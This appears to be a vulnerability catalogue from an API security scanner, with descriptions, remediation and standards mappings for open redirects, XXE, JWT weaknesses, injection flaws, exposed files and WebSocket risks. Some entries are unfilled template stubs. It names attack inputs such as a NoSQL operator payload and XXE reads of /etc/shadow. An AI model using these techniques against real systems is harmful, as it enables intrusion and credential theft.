CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A10:2021 Server-Side Request Forgery

OWASP API: API7:2023 Server Side Request Forgery

MITRE ATT&CK: T1090.002 (Command and Control)

NIST 800-53: SI-10, SC-7, CA-9

PCI DSS 4: 6.2.4

MEDIUM SI-106 — Unsafe API Consumption — Open Redirect to External URL

Description: Siphon confirmed an open redirect vulnerability where a URL-type parameter accepted by the API is used to construct a redirect response (HTTP 301, 302, or 307) to an arbitrary external destination without validation. An attacker can craft a link to the legitimate API domain with a manipulated redirect parameter pointing to a malicious site, causing a victim who clicks the link to be redirected to an attacker-controlled page. Open redirects are frequently exploited in phishing campaigns because the initial URL appears to belong to a trusted domain, bypassing browser and email security warnings. They can also be chained with SSRF vulnerabilities and OAuth redirect_uri bypass attacks.

Remediation: Validate all redirect target URLs against an allowlist of permitted destination origins before issuing a redirect response. If redirect functionality is required, use indirect references (e.g., opaque tokens mapped to trusted URLs server-side) rather than accepting raw URLs from user input. Never reflect an unvalidated URL from a request parameter directly into a Location response header. Audit all API endpoints that issue redirect responses and confirm each performs origin validation.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A01:2021 Broken Access Control

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-107 — Unsafe API Consumption — Serialization Markers in Response

Description: Siphon detected serialization markers in the API response body that indicate the application is transmitting serialized objects across the API boundary. Language-native serialization formats identified may include Java serialized objects (magic bytes 0xAC 0xED), Python pickle data, PHP serialization syntax (O:, a:, s:), Ruby Marshal data, .NET BinaryFormatter output, or YAML/XML with type annotations. If a downstream service or client deserializes this data without validation, an attacker who can influence the serialized content may be able to trigger gadget chain execution, leading to remote code execution, denial-of-service, or authentication bypass. Even read-only exposure of serialized objects leaks internal class names, field names, and object graph structure.

Remediation: Replace language-native serialization with a data-format-neutral representation (JSON, Protobuf, MessagePack) for all data transmitted across API boundaries. If serialization is required, implement a strict type allowlist in the deserializer so only expected types can be instantiated. Sign all serialized payloads with a server-side HMAC and verify the signature before deserialization to detect tampering. Audit all API response bodies for serialization format markers and eliminate unnecessary exposure of internal object representations.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

OWASP Web: A08:2021 Software and Data Integrity Failures

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1059 (Execution)

NIST 800-53: SI-10, SA-11

PCI DSS 4: 6.2.4

CRITICAL SI-108 — Weak JWT Secret

Description: Siphon identified that the HMAC secret used to sign JWTs is weak — matching a known default value, a short string, a dictionary word, or a low-entropy pattern detectable through analysis of the token structure. A weak HMAC signing secret is susceptible to offline brute-force and dictionary attacks: once a valid JWT is obtained, an attacker can recover the secret using tools such as hashcat or jwt-cracker without any further server interaction. With the recovered secret, the attacker can forge arbitrary JWTs with any claims including elevated roles, alternative subject identifiers, or extended expiry, achieving complete authentication bypass and horizontal or vertical privilege escalation.

Remediation: Immediately rotate the JWT signing secret. Generate the new secret using a cryptographically secure random number generator (os.urandom, /dev/urandom, or an HSM) with a minimum of 256 bits of entropy. Do not use human-readable strings, environment variable defaults, or framework placeholder values as signing secrets. Store the secret in a secrets management system (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager) rather than in configuration files or environment variables committed to source control. Consider migrating to asymmetric signing (RS256, ES256) to eliminate the shared-secret risk model entirely.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1550.001 (Defense Evasion)

NIST 800-53: IA-5, SC-28

PCI DSS 4: 8.3.6

HIGH SI-109 — Sensitive File Exposed

Description: Siphon discovered that the API server exposes a sensitive file at a publicly accessible path without authentication. Sensitive files commonly exposed through API or web server misconfigurations include environment files (.env, .env.production), backup archives (.bak, .zip, .tar.gz), configuration files (config.yml, database.yml, settings.py, web.config), source code repositories (.git/config, .svn/entries), private keys and certificates (.pem, .key, id_rsa), dependency lock files (package-lock.json, Gemfile.lock), and development credentials. Exposure of these files can directly reveal database credentials, API keys, internal hostnames, cryptographic material, and application source code, enabling further targeted attacks against the system.

Remediation: Remove all sensitive files from any directory served by the web or API server. Configure the server to return 403 or 404 for known sensitive file extensions and paths (.env, .git, .bak, .key, .pem). Implement a server-level allowlist of permitted static file types rather than a denylist. Audit the API server's document root and all static directories for sensitive file exposure using automated tools. Ensure deployment pipelines do not copy development configuration files, credentials, or version control metadata to production server directories.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1552.001 (Credential Access)

NIST 800-53: CM-6, CM-7

PCI DSS 4: 3.4.1

CRITICAL SI-110 — XML External Entity (XXE) Injection in API

Description: Siphon confirmed an XML External Entity (XXE) injection vulnerability where the API accepts XML input and the underlying XML parser processes external entity declarations (DOCTYPE / ENTITY). An attacker can inject an XXE payload that causes the parser to read arbitrary local files from the server filesystem (e.g., /etc/passwd, /etc/shadow, application configuration and credential files) and include their contents in the response. Out-of-band XXE can exfiltrate file contents to an attacker-controlled DNS or HTTP endpoint even when the response does not directly reflect the file. In some configurations XXE enables SSRF against internal services, denial-of-service via billion-laughs entity expansion, and remote code execution via certain XML parser features.

Remediation: Disable external entity processing and DTD processing entirely in the XML parser configuration. In Java, set XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES and XMLInputFactory.SUPPORT_DTD to false. In Python, use defusedxml instead of the standard library xml module. In PHP, call libxml_disable_entity_loader(true) before parsing. If XML with DTD is a business requirement, use a parser that supports a safe whitelist of entity definitions and blocks all external references. Migrate XML-based APIs to JSON where possible to eliminate the XXE attack surface.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)

NIST 800-53: SI-10, CM-6

PCI DSS 4: 6.2.4

MEDIUM SI-111 — HTTP Methods: Unsafe Methods Enabled

Description: Siphon confirmed that the HTTP TRACE method is enabled on the API server or a specific endpoint. The TRACE method is a diagnostic tool that echoes the received request back to the client, including all request headers. Cross-Site Tracing (XST) is a technique where an attacker combines TRACE with a browser-based XSS or cross-origin request to cause the victim's browser to send a TRACE request, with the echoed response — including HttpOnly cookies and Authorization headers — readable by the attacker's JavaScript. While modern browsers and XHR implementations largely block TRACE, the method's presence indicates insufficient HTTP method restriction and may expose headers through non-browser clients or misconfigured proxies.

Remediation: Disable the HTTP TRACE method in the web server configuration. In Apache, add TraceEnable off to the server configuration. In Nginx, block TRACE with a location block returning 405. In IIS, use the requestFiltering module to block the TRACE verb. At the API gateway or WAF level, configure an HTTP method allowlist restricted to the methods the API explicitly uses (typically GET, POST, PUT, PATCH, DELETE, OPTIONS). Verify the fix with a direct TRACE request confirming a 405 Method Not Allowed response.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: CM-6, CM-7

PCI DSS 4: 6.2.4

MEDIUM SI-112 — HTTP Method Override Accepted

Description: Siphon confirmed that the API honours HTTP method override headers (X-HTTP-Method-Override, X-Method-Override, X-HTTP-Method, _method) or body parameters that instruct the server to treat an incoming request as a different HTTP method. This behaviour was observed for methods beyond the DELETE-via-POST case, including PUT, PATCH, or other privileged methods. If the API applies access controls at the routing layer based on the HTTP transport method rather than the effective (overridden) method, an attacker can bypass method-based authorization by tunnelling privileged operations through a permitted method. Method override can also be used to invoke methods that are otherwise rejected at the network or firewall layer.

Remediation: Disable HTTP method override support globally unless there is a specific and documented requirement for it, such as supporting legacy clients that cannot send PUT or DELETE. If method override must be retained, enforce that authorization controls are applied based on the effective overridden method, not the transport method. Restrict the set of methods that can be overridden to a minimal allowlist. Log all method override usage and alert on anomalous patterns. At the API gateway, block or audit requests that use method override headers on sensitive endpoints.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: CM-6, CM-7

PCI DSS 4: 6.2.4

HIGH SI-113 — Unauthenticated Access to Endpoint

Description: Siphon confirmed that an API endpoint which is expected to require authentication returns a successful non-error response to an unauthenticated request (one containing no Authorization header, no session cookie, and no API key). The endpoint may return data belonging to a specific user, return aggregate data, or perform operations that should require an authenticated context. Unlike a complete authentication enforcement absence (SI-083), this finding may affect a subset of endpoints or specific HTTP methods where the authentication middleware is missing or bypassed. Unauthenticated access to any endpoint that handles user data or performs state-changing operations represents a direct breach of the application's security model.

Remediation: Apply authentication middleware as a mandatory, default requirement on all API routes. Adopt a secure-by-default posture where every new route requires explicit opt-out from authentication rather than opt-in. Audit all API routes for endpoints that return 2xx responses to requests without valid credentials. Perform automated regression testing that asserts all non-public endpoints return 401 or 403 when called without authentication. Remove any route-specific authentication bypass rules that are not essential for publicly documented anonymous functionality.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-114 — Missing Rate Limit on Sensitive Endpoint

Description: Siphon confirmed that an API endpoint handling a sensitive operation — such as authentication, password reset, OTP validation, account recovery, or payment processing — does not enforce any rate limiting on incoming requests. While general rate limiting may be absent across all endpoints, the absence of rate limiting specifically on sensitive endpoints is higher-severity because these endpoints are primary targets for brute-force credential attacks, account enumeration, OTP bypass, and API abuse. An attacker can issue unlimited automated requests against these endpoints without encountering any throttling, lockout, or challenge mechanism.

Remediation: Implement strict, dedicated rate limiting on all sensitive API endpoints, independent of any global rate limiting policy. Authentication endpoints should enforce per-IP limits (e.g., 5 attempts per minute) combined with per-account limits (e.g., 10 attempts per 15 minutes) with exponential backoff and account lockout or CAPTCHA challenge after threshold breach. OTP and password reset endpoints should enforce single-use token policies and short validity windows in addition to request rate limits. Return 429 Too Many Requests with a Retry-After header when limits are exceeded. Monitor sensitive endpoint access patterns for burst anomalies.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MITRE ATT&CK: T1499 (Impact)

NIST 800-53: SC-5, CM-6

PCI DSS 4: 6.2.4

INFO SI-115 — CORS Wildcard (*) Detected

Description: Siphon detected that the API responds with Access-Control-Allow-Origin: * on one or more endpoints. A wildcard CORS policy permits any origin to read responses from cross-origin requests made without credentials. While browsers enforce that credentialed requests (those sending cookies or Authorization headers) cannot be used with a wildcard origin, non-credentialed responses are still readable by any cross-origin JavaScript. This is informational for truly public API endpoints, but becomes a vulnerability if the endpoint returns semi-sensitive data (API schema details, user-agnostic configuration, analytics), is intended to be restricted by origin, or is accessible using bearer tokens passed in headers (which are treated as credentials and blocked, but may be overlooked in custom implementations).

Remediation: Review whether the wildcard CORS policy is intentional and appropriate for each affected endpoint. For public endpoints returning only non-sensitive, non-authenticated data, a wildcard is acceptable. For endpoints returning any data that should be origin-restricted, replace the wildcard with an explicit origin allowlist. Ensure that no endpoint combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true exists (this combination is invalid per spec and indicates misconfiguration). Document the CORS policy for each API endpoint as part of the API security specification.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

INFO SI-116 — HTTP Method Override Accepted — {override_method} via {override_hdr}

INFO SI-117 — Mass Assignment — {attack_label.title()} Accepted

INFO SI-118 — Sensitive File Exposed: {fpath}

INFO SI-119 — Wildcard (*) Detected: {base_url}

INFO SI-120 — Broken Object Level Authorization (IDOR / BOLA)

Remediation: Enforce per-request object ownership validation. Do not trust client-supplied object IDs without authorization checks. Use UUIDs and validate ownership against the authenticated user's context.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP API: API1:2023 – Broken Object Level Authorization

MITRE ATT&CK: T1078 (Defense Evasion)

NIST 800-53: AC-3

PCI DSS 4: 7.2.1

INFO SI-121 — CORS Misconfiguration Allowing Credential Leakage

Remediation: Restrict CORS to explicitly defined, trusted origins. Never use wildcard (*) with credentials. Validate the Origin header against a server-side allowlist.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

OWASP Web: A05:2021 – Security Misconfiguration

OWASP API: API8:2023 – Security Misconfiguration

MITRE ATT&CK: T1189 (Initial Access)

NIST 800-53: CM-6, SC-8

PCI DSS 4: 6.2.4

INFO SI-122 — CRLF Injection

Remediation: Strip or encode carriage return (\r, %0d) and line feed (\n, %0a) characters from all user-supplied data before it is written into HTTP response headers. Use framework-provided header APIs rather than manual string construction. Apply input validation as a secondary layer.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A03:2021 – Injection

MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)

NIST 800-53: SI-10, SC-8

PCI DSS 4: 6.2.4, 6.5.1

INFO SI-123 — JWT Algorithm Confusion Attack (RS256 → HS256)

INFO SI-124 — JWT None Algorithm Authentication Bypass

Remediation: Reject JWTs with 'none' algorithm. Explicitly whitelist accepted algorithms (HS256 or RS256). Validate the 'alg' header server-side before verifying the signature.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A07:2021 – Identification and Authentication Failures

OWASP API: API2:2023 – Broken Authentication

MITRE ATT&CK: T1550.001 (Defense Evasion)

NIST 800-53: IA-5, SC-8

PCI DSS 4: 4.2.1, 8.3.6

INFO SI-125 — LDAP Injection

Remediation: Escape all special characters in LDAP queries. Use parameterized LDAP APIs. Validate input against a strict allowlist before passing to directory queries.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A03:2021 – Injection

MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)

NIST 800-53: SI-10

PCI DSS 4: 6.2.4

INFO SI-126 — Mass Assignment / Privilege Escalation via Parameter Binding

Impact: Automatic request-to-model binding lets an attacker set privileged or internal fields (e.g. role, is_admin, account_id) that are not part of the intended input, achieving privilege escalation or cross-account data manipulation without any other vulnerability.

Remediation: Use explicit allowlists (DTOs) to control which fields can be bound from requests. Never bind internal/privileged fields (isAdmin, role, credit) from user input directly.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A01:2021 – Broken Access Control

OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows

MITRE ATT&CK: T1078 (Privilege Escalation)

NIST 800-53: AC-3, SI-10

PCI DSS 4: 6.2.4

INFO SI-127 — NoSQL Injection

Remediation: Sanitize and validate all input before passing to NoSQL query constructors. Use ODM libraries that enforce typed queries. Restrict MongoDB operators ($where, $regex) in user-supplied data.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

OWASP Web: A03:2021 – Injection

OWASP API: API3:2023 – Injection

MITRE ATT&CK: T1190 (Initial Access)

NIST 800-53: SI-10

PCI DSS 4: 6.2.4

INFO SI-128 — OS Command Injection

Remediation: Avoid passing user input to OS commands. Use safe APIs that do not invoke shells. If shell is unavoidable, validate against a strict allowlist and escape all metacharacters.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A03:2021 – Injection

OWASP API: API3:2023 – Injection

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, CM-6, SA-11

PCI DSS 4: 6.2.4

CISA KEV

INFO SI-129 — Path Traversal / Local File Inclusion

Remediation: Canonicalize file paths and validate against an allowed base directory. Use chroot jails. Never allow user input to determine file paths directly.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A01:2021 – Broken Access Control

OWASP API: API8:2023 – Security Misconfiguration

MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)

NIST 800-53: AC-3, SI-10

PCI DSS 4: 6.2.4

CISA KEV

CRITICAL SI-130 — SQL Injection (Error-Based)

Description: Siphon observed a database error message in the response after injecting SQL metacharacters into a parameter, indicating that user input is concatenated into SQL statements without parameterisation (error-based SQL injection).

Impact: An attacker can read, modify or delete arbitrary database contents, bypass authentication, and in many configurations escalate to file-system access or command execution on the database host. Error-based injection also discloses schema details that accelerate full database compromise.

Remediation: Use parameterised queries / prepared statements for all database access; never build SQL by string concatenation of user input, and suppress database error detail in production responses.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A03:2021 – Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, SA-11, RA-5

PCI DSS 4: 6.2.4, 6.3.2

INFO SI-131 — Unsafe Consumption — Open Redirect to External URL

Remediation: Validate redirect destinations against a server-side allowlist. Avoid using user-supplied values as redirect targets. Use indirect mapping for permitted redirect targets.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A01:2021 – Broken Access Control

MITRE ATT&CK: T1566.002 (Initial Access)

NIST 800-53: SI-10

PCI DSS 4: 6.2.4

INFO SI-132 — Unsafe Consumption — Serialization Markers in API Response

Remediation: Do not deserialize data from third-party API responses without type validation. Avoid consuming Java serialized objects or pickle streams from external sources. If serialized data must be processed, implement integrity checks, use allowlist-based deserializers, and run deserialization in sandboxed environments with restricted class loading.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A08:2021 – Software and Data Integrity Failures

OWASP API: API10:2023 – Unsafe Consumption of APIs

MITRE ATT&CK: T1059 (Execution)

NIST 800-53: SI-10, SA-11

PCI DSS 4: 6.2.4

INFO SI-133 — Weak or Default Credentials Accepted

Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A05:2021 – Security Misconfiguration

OWASP API: API2:2023 – Broken Authentication

MITRE ATT&CK: T1078.001 (Initial Access)

NIST 800-53: IA-5, CM-6

PCI DSS 4: 8.3.1, 2.2.1

CISA KEV

INFO SI-134 — XML External Entity (XXE) Injection

Remediation: Disable XML external entity processing in all XML parsers. Use less complex data formats such as JSON. Patch or upgrade all XML processors and libraries.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

OWASP Web: A05:2021 – Security Misconfiguration

OWASP API: API3:2023 – Injection

MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)

NIST 800-53: SI-10, CM-6

PCI DSS 4: 6.2.4

LOW SI-135 — Enumerated Parameter Value Restriction Not Enforced

Description: An API parameter that declares a fixed set of allowed (enumerated) values accepted a value outside that set instead of rejecting it, indicating that server-side validation of the parameter is missing or relies solely on the client/specification.

Impact: Missing enforcement of declared value constraints lets an attacker submit unexpected values that the application's business logic never anticipated, which can drive it into unhandled states, bypass workflow restrictions, or reach code paths intended only for specific enumerated options. On its own the impact is usually low, but it is a reliable building block for more serious logic and access-control abuse.

Remediation: Validate every parameter server-side against its declared allowed value set and reject unknown values with HTTP 400; never rely on client-side or specification-only enforcement.

Effort: Easy

OWASP API: API8:2023 Security Misconfiguration

LOW SI-136 — Numeric Parameter Boundary Not Enforced

Description: A numeric API parameter that declares minimum/maximum bounds accepted a value far outside the declared range instead of rejecting it, indicating missing server-side range validation.

Impact: Unbounded numeric input can cause integer overflow, excessive resource allocation (e.g. huge page sizes or quantities), pricing/quantity manipulation in business flows, or denial of service. The acceptance itself is low severity but frequently underpins resource-exhaustion and business-logic attacks.

Remediation: Enforce declared minimum/maximum (and length) constraints on numeric parameters server-side and reject out-of-range values.

Effort: Easy

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-137 — Parameter Type Confusion Accepted

Description: A parameter declared as a scalar type (string/number/boolean) accepted a structurally different JSON type (an array or object) without rejection, indicating the API does not enforce the JSON type of its inputs.

Impact: Type confusion lets an attacker substitute arrays or objects where scalars are expected, which is a primary vector for NoSQL operator injection (e.g. {"$ne": null}), authentication bypass via type juggling, and application logic errors that can corrupt data or escalate privileges depending on how the value is consumed downstream.

Remediation: Enforce strict type validation on every input: reject values whose JSON type does not match the declared schema type, and use schema validators (e.g. JSON Schema / Pydantic) at the API boundary.

Effort: Moderate

OWASP API: API8:2023 Security Misconfiguration

LOW SI-138 — HTTP Parameter Pollution

Description: The API accepted duplicate occurrences of the same query parameter and the response differed from the single-value baseline, indicating ambiguous or inconsistent handling of repeated parameters across the application stack.

Impact: Inconsistent duplicate-parameter handling between front-end proxies/WAFs and the backend lets an attacker smuggle a second value past input filtering or access-control checks (e.g. one component validates the first occurrence while another uses the last), enabling filter/WAF bypass, authorization confusion, and tainted input reaching sensitive sinks.

Remediation: Define deterministic handling for duplicate parameters at every layer; reject or canonicalise repeated keys and perform validation only after canonicalisation.

Effort: Moderate

OWASP API: API8:2023 Security Misconfiguration

LOW SI-139 — Content-Type Confusion — Alternate Body Format Accepted

Description: An endpoint documented to consume JSON also accepted a request body in an alternate format (form-urlencoded), showing that the server does not enforce the declared request media type.

Impact: Accepting multiple body formats creates a parser-differential surface: validation, authentication, or WAF rules that only inspect the expected format can be bypassed by submitting an equivalent request in another format, and form-encoded acceptance can re-enable CSRF against otherwise JSON-only (CSRF-immune) endpoints.

Remediation: Enforce the expected Content-Type for each endpoint and reject requests whose body media type does not match the declared one.

Effort: Easy

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-140 — Unbounded Resource Consumption via Pagination Parameter

Description: A pagination-style parameter (e.g. limit / page_size / count) accepted an extreme value and the API returned a materially larger result set, demonstrating that result-set size is not capped server-side.

Impact: Uncapped result sizes let an attacker force the API to assemble and serialise very large responses, exhausting database, memory, CPU and bandwidth resources and degrading or denying service for other users at low attacker cost; it also amplifies data-exfiltration when combined with broken object-level authorization.

Remediation: Enforce a server-side maximum page size / result-set cap that is applied regardless of the client-supplied value, and return a 400 (or clamp) when the requested size exceeds it.

Effort: Moderate

OWASP API: API4:2023 Unrestricted Resource Consumption

MEDIUM SI-141 — Insecure WebSocket Transport (Unencrypted ws://)

Description: A WebSocket endpoint is served over unencrypted ws:// rather than wss://, so all frames are transmitted in cleartext.

Impact: An attacker on the network path can read and tamper with WebSocket messages, including authentication tokens and session data carried on the socket, enabling session hijacking and message injection.

Remediation: Serve all WebSocket endpoints over wss:// (TLS) and redirect/deny ws:// connections.

Effort: Easy

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-142 — WebSocket Handshake Accepts Arbitrary Origin (CSWSH Risk)

Description: The WebSocket handshake completed with an attacker-controlled Origin header and without credentials, indicating the server does not validate the Origin during the upgrade.

Impact: If the socket is authenticated via cookies, a malicious web page can open an authenticated WebSocket to the target on the victim's behalf (Cross-Site WebSocket Hijacking), reading and sending messages as the victim and exfiltrating data or performing privileged actions.

Remediation: Validate the Origin header against a strict allowlist during the handshake and require a session-bound authentication token rather than relying on ambient cookies.

Effort: Moderate

OWASP API: API2:2023 Broken Authentication

MEDIUM SI-143 — Unauthenticated Server-Sent Events (SSE) Stream

Description: A Server-Sent Events stream (text/event-stream) is accessible without authentication.

Impact: SSE streams commonly push user- or tenant-scoped events in real time; unauthenticated access leaks live data (notifications, records, presence) to any anonymous client and can disclose cross-tenant information.

Remediation: Require authentication and per-subscriber authorization before establishing an event stream.

Effort: Easy

OWASP API: API2:2023 Broken Authentication

LOW SI-144 — Server-Sent Events Stream Over Cleartext HTTP

Description: A Server-Sent Events stream is served over cleartext http:// rather than https://.

Impact: Pushed events traverse the network in cleartext and can be intercepted or modified by a network attacker, exposing real-time data and enabling injection of forged events.

Remediation: Serve event streams over HTTPS only.

Effort: Easy

OWASP API: API8:2023 Security Misconfiguration

LOW SI-145 — gRPC Server Reflection Exposed

Description: The gRPC server has server reflection enabled and enumerates its full set of services and methods to any client.

Impact: Exposed reflection discloses the complete RPC API surface (services, methods, message schemas) to unauthenticated attackers, removing the need to obtain .proto files and accelerating targeted attacks against internal/unintended methods.

Remediation: Disable gRPC server reflection in production builds; distribute service definitions only to authorized clients.

Effort: Easy

OWASP API: API9:2023 Improper Inventory Management

MEDIUM SI-146 — Insecure gRPC Transport (Plaintext / No TLS)

Description: The gRPC endpoint accepted a plaintext (non-TLS) connection.

Impact: RPC traffic, including credentials and sensitive payloads, is transmitted in cleartext and can be intercepted or tampered with by a network attacker, enabling credential theft and request/response manipulation.

Remediation: Require TLS for all gRPC endpoints and reject plaintext connections.

Effort: Moderate

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-147 — Application Responses Identify Valid Accounts

Description: The login endpoint returns distinguishable responses (status codes, error messages, response bodies, or timing) for valid vs. invalid usernames. This enables an attacker to enumerate valid user accounts by observing differential responses to authentication attempts with different usernames.

Impact: An attacker can compile a list of valid user accounts, which can then be used for targeted brute-force attacks, credential stuffing, password spraying, or social engineering. Confirmed usernames dramatically reduce the search space for password attacks.

Remediation: Return identical responses (status code, body, headers, timing) for valid and invalid usernames. Use generic error messages like 'Invalid credentials'. Implement rate limiting and account lockout. Use constant-time comparison functions.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A07:2025 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1110.001 (Credential Access)

NIST 800-53: IA-5, AC-7

PCI DSS 4: 8.2.1

LOW SI-148 — Timing-Based Username Enumeration

Description: The login endpoint shows a measurable timing difference between valid and invalid username submissions. Non-constant-time credential comparison or early-exit logic exposes a timing side-channel that can be exploited for username enumeration.

Impact: An attacker can enumerate valid usernames by measuring response latency, even when error messages are generic. Statistical analysis of timing data can reliably distinguish valid from invalid accounts across multiple samples.

Remediation: Use constant-time comparison functions for credential checks. Hash all credentials before comparison regardless of user existence. Introduce artificial jitter to normalize response times.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A07:2025 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

NIST 800-53: IA-5

MEDIUM SI-149 — Improper Input Validation Results in Server Error

Description: An API endpoint returns a 500-series HTTP status code when sent malformed or unexpected input. This indicates the server does not properly validate inputs before processing, allowing unhandled exceptions to propagate to the client. The error response may expose stack traces, internal paths, or framework details.

Impact: Server errors caused by invalid input reveal that the application lacks input validation, potentially exposing information about internal architecture. Repeated 500 errors can also indicate denial-of-service attack vectors through malformed requests.

Remediation: Validate all inputs before processing. Return 400/422 with a structured error response instead of allowing unhandled exceptions. Implement a global exception handler that logs details server-side and returns generic errors to clients.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: SI-10

PCI DSS 4: 6.2.4

LOW SI-150 — Information Disclosure: Internal Hostname in API Response

Description: API response headers or body contain internal hostnames (e.g., *.local, *.internal, *.corp). Internal hostnames reveal network topology, naming conventions, and infrastructure details that should not be exposed to external consumers.

Impact: Leaked internal hostnames enable targeted SSRF attacks, DNS rebinding, and internal service enumeration. Knowing internal naming conventions helps attackers craft more effective social engineering and spear-phishing campaigns.

Remediation: Strip internal hostnames from response headers and error messages. Use a reverse proxy that rewrites backend identifiers. Configure application frameworks to suppress internal names in production.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2025 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1018 (Discovery)

NIST 800-53: SC-8

HIGH SI-151 — JWT Scope/Claim Manipulation Accepted

Description: The server accepted a JWT with modified scope, role, or permission claims without rejecting the tampered token. This indicates the server does not independently validate JWT claims against the authorization database, allowing privilege escalation through token manipulation.

Impact: An attacker can escalate privileges by modifying JWT claims (scope, role, permissions) to gain administrative or higher-privilege access. This bypasses authorization controls entirely, granting access to sensitive data and destructive operations.

Remediation: Validate all JWT claims server-side against the authorization database. Never trust client-provided scope/role claims. Use signed, opaque tokens or verify claim integrity with asymmetric signatures.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP API: API1:2023 Broken Object Level Authorization

MITRE ATT&CK: T1548 (Privilege Escalation)

NIST 800-53: AC-6, AC-3

PCI DSS 4: 7.2.1

LOW SI-152 — Excessive API Session Timeout

